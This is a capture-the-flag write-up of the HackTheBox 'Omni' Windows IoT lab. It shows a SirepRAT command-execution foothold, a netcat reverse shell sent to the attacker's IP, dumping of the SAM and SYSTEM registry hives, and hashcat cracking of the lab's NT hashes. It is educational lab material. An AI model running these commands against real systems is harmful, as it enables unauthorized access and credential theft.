HackTheBox: omni
windows iot-core sirep-rat netcat hashcat pscredentialOmni is a Windows IoT machine authored by egre55, with an average rating of 3.2 stars.
// Lessons Learned
- passwordless / key-based login via ssh is functionally not the same as password-based login, at least when it comes reading PSCredential objects via PowerShell.
// Recon
┌──(pitfallen㉿kali)-[~/htb/boxes/omni]
└─$ nmap -A -p- --min-rate 10000 -Pn omni.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-13 09:17 AEST
Nmap scan report for omni.htb (10.10.10.204)
Host is up (0.038s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
5985/tcp open upnp Microsoft IIS httpd
8080/tcp open upnp Microsoft IIS httpd
|_http-title: Site doesn't have a title.
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
29817/tcp open unknown
29819/tcp open arcserve ARCserve Discovery
29820/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port29820-TCP:V=7.92%I=7%D=12/13%Time=6397B6B2%P=aarch64-unknown-linux-
SF:gnu%r(NULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLin
SF:es,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\
SF:xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9
SF:m\x1c\xc9}\xc8O\x12");
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.36 seconds
Nmap reveals this machine is Windows-based running the following services:
- rpc on port
135
- win-rm on port
5985
- http via IIS on port
8080
- several unknown services on ports
29817, 29819
and29820
Anonymous RPC access is not supported on this host:
┌──(pitfallen㉿kali)-[~/htb/boxes/omni]
└─$ rpcclient -U "" -N omni.htb
Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT
Accessing the http server on port 8080 returns a basic authentication window:
Typical default logins (admin / admin
, admin / password
) all appear invalid. Checking the response headers for this url indicate the realm is “Windows Device Portal”:
┌──(pitfallen㉿kali)-[~/htb/boxes/omni]
└─$ curl -I http://omni.htb:8080
HTTP/1.1 401 Unauthorized
Set-Cookie: CSRF-Token=O7pHnOHnt3t1wPbhbYcN/PwcNlFNinSc
Server: Microsoft-HTTPAPI/2.0
WWW-Authenticate: Basic realm="Windows Device Portal"
Some basic searching confirms that this portal is typically part of Windows IoT Core, and used to manage iot devices, and that the default password for such devices is p@ssw0rd
. Unfortunately, this is also invalid.
// Initial Foothold
There’s nothing to indicate a specific version of Windows IoT Core in use, but some general searching for vulnerabilities returns the SirepRAT project, a python-based tool capable of providing remote code execution on IoT core devices, as the SYSTEM
user. Setting up the project is straightforward, and the documentation provides examples on the kind of commands that can be run:
┌──(sireprat)─(pitfallen㉿kali)-[/mnt/hgfs/GitHub/SafeBreach-Labs/SirepRAT]
└─$ python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 6, payload peek: 'b'omni\r\n''>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>
Running the hostname
command confirms the target is vulnerable, and a further check confirms we’re executing code as SYSTEM
:
┌──(sireprat)─(pitfallen㉿kali)-[/mnt/hgfs/GitHub/SafeBreach-Labs/SirepRAT]
└─$ python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c echo " --v
---------
---------
---------
C:\Data\Users\System
Running commands through SirepRAT is quite slow, so it makes sense to attempt upgrading to a proper reverse shell. To do this we can upload a 64-bit statically built version of netcat from our attack box, by first running the impacket-smbserver:
┌──(pitfallen㉿kali)-[~/htb/tools/int0x33-nc]
└─$ impacket-smbserver -smb2support pitfallen .
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
and then running the copy
command via SirepRAT on the target:
┌──(sireprat)─(pitfallen㉿kali)-[/mnt/hgfs/GitHub/SafeBreach-Labs/SirepRAT]
└─$ python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c copy \\\\10.10.14.16\\pitfallen\\nc64.exe C:\Windows\Temp\nc64.exe" --v
---------
---------
---------
1 file(s) copied.
---------
---------
---------
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 27, payload peek: 'b' 1 file(s) copied.\r\n''>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>
All that is left to do is start a netcat listener on our target box:
┌──(pitfallen㉿kali)-[~/htb/tools/int0x33-nc]
└─$ nc -lvnp 443
listening on [any] 443 ...
and then run the uploaded binary on the target:
┌──(sireprat)─(pitfallen㉿kali)-[/mnt/hgfs/GitHub/SafeBreach-Labs/SirepRAT]
└─$ python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\Windows\Temp\nc64.exe 10.10.14.16 443 -e cmd.exe" --v
---------
---------
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
which delivers us a reverse shell as SYSTEM
:
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.204] 49673
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.
C:\windows\system32>
At this point, we would typically have access to the user flag, normally available in a low-privileged user’s home directory. While there is a user.txt
file in C:\Data\Users\app
, the file is different from what we normally find:
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">flag</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
</Props>
</Obj>
</Objs>
Instead of containing a plaintext flag, this file contains a PSCredential, a PowerShell-based method of storing credentials in an encrypted form. By default the user’s password serves as the encryption key, meaning that we can’t decrypt the credential without knowing the password for app
, even though we have SYSTEM
access. What we can do, however, is dump the SAM
and SYSTEM
files from the registry:
C:\windows\system32>reg save HKLM\SAM C:\SAM
reg save HKLM\SAM C:\SAM
The operation completed successfully.
C:\windows\system32>reg save HKLM\SYSTEM C:\SYSTEM
reg save HKLM\SYSTEM C:\SYSTEM
The operation completed successfully.
After copying these files down to our attack box, impacket-secretsdump can be used to dump the password hashes:
┌──(pitfallen㉿kali)-[~/htb/boxes/omni]
└─$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0x4a96b0f404fd37b862c07c2aa37853a5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a01f16a7fa376962dbeb29a764a06f00:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:330fe4fd406f9d0180d67adb0b0dfa65:::
sshd:1000:aad3b435b51404eeaad3b435b51404ee:91ad590862916cdfd922475caed3acea:::
DevToolsUser:1002:aad3b435b51404eeaad3b435b51404ee:1b9ce6c5783785717e9bbb75ba5f9958:::
app:1003:aad3b435b51404eeaad3b435b51404ee:e3cb0651718ee9b4faffe19a51faff95:::
[*] Cleaning up...
Once we copy the app user’s NT hash e3cb0651718ee9b4faffe19a51faff95
into an app.hash
file, hashcat and rockyou.txt
can take care of the rest:
┌──(pitfallen㉿kali)-[~/htb/boxes/omni]
└─$ hashcat --force -m 1000 -a 0 app.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================
* Device #1: pthread-0x000, 2191/4446 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 5 digests; 5 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
...
Host memory required for this attack: 1 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec
e3cb0651718ee9b4faffe19a51faff95:mesh5143
With the app user’s password mesh5143
revealed, we can now login to the Windows Device Portal attempted earlier:
Under the Processes
menu is a Run command
link, which provides a browser-based terminal for code execution as the app user. Now with a basic powershell command, we can decrypt the PSCredential file and access the user flag:
// Privilege Escalation
Since we already have a SYSTEM
shell, we can browse to the administrator directory to discover the root flag at C:\Data\Users\administrator\root.txt
. As with the user flag however, this file contains a PSCredential, meaning it can only be decrypted by logging in as the administrator or knowing that account’s password. Despite having the hash we earlier dumped from the registry, hashcat is unable to crack it using rockyou.txt, so it’s likely to be a complex / non-dictionary password.
Returning to the home folder of app
there are a couple more files worth looking into, the first is hardening.txt
:
This explains why the default password tried earlier did not work. There is also an iot-admin.xml
file, which contains yet another PSCredential. This one can be decrypted by our app user using the same powershell command as before, and reveals the administrator password:
After logging out of the web portal, we can log back in as the administrator and run the same powershell command to decrypt the root.txt
file in the administrator’s home directory, to obtain the root flag: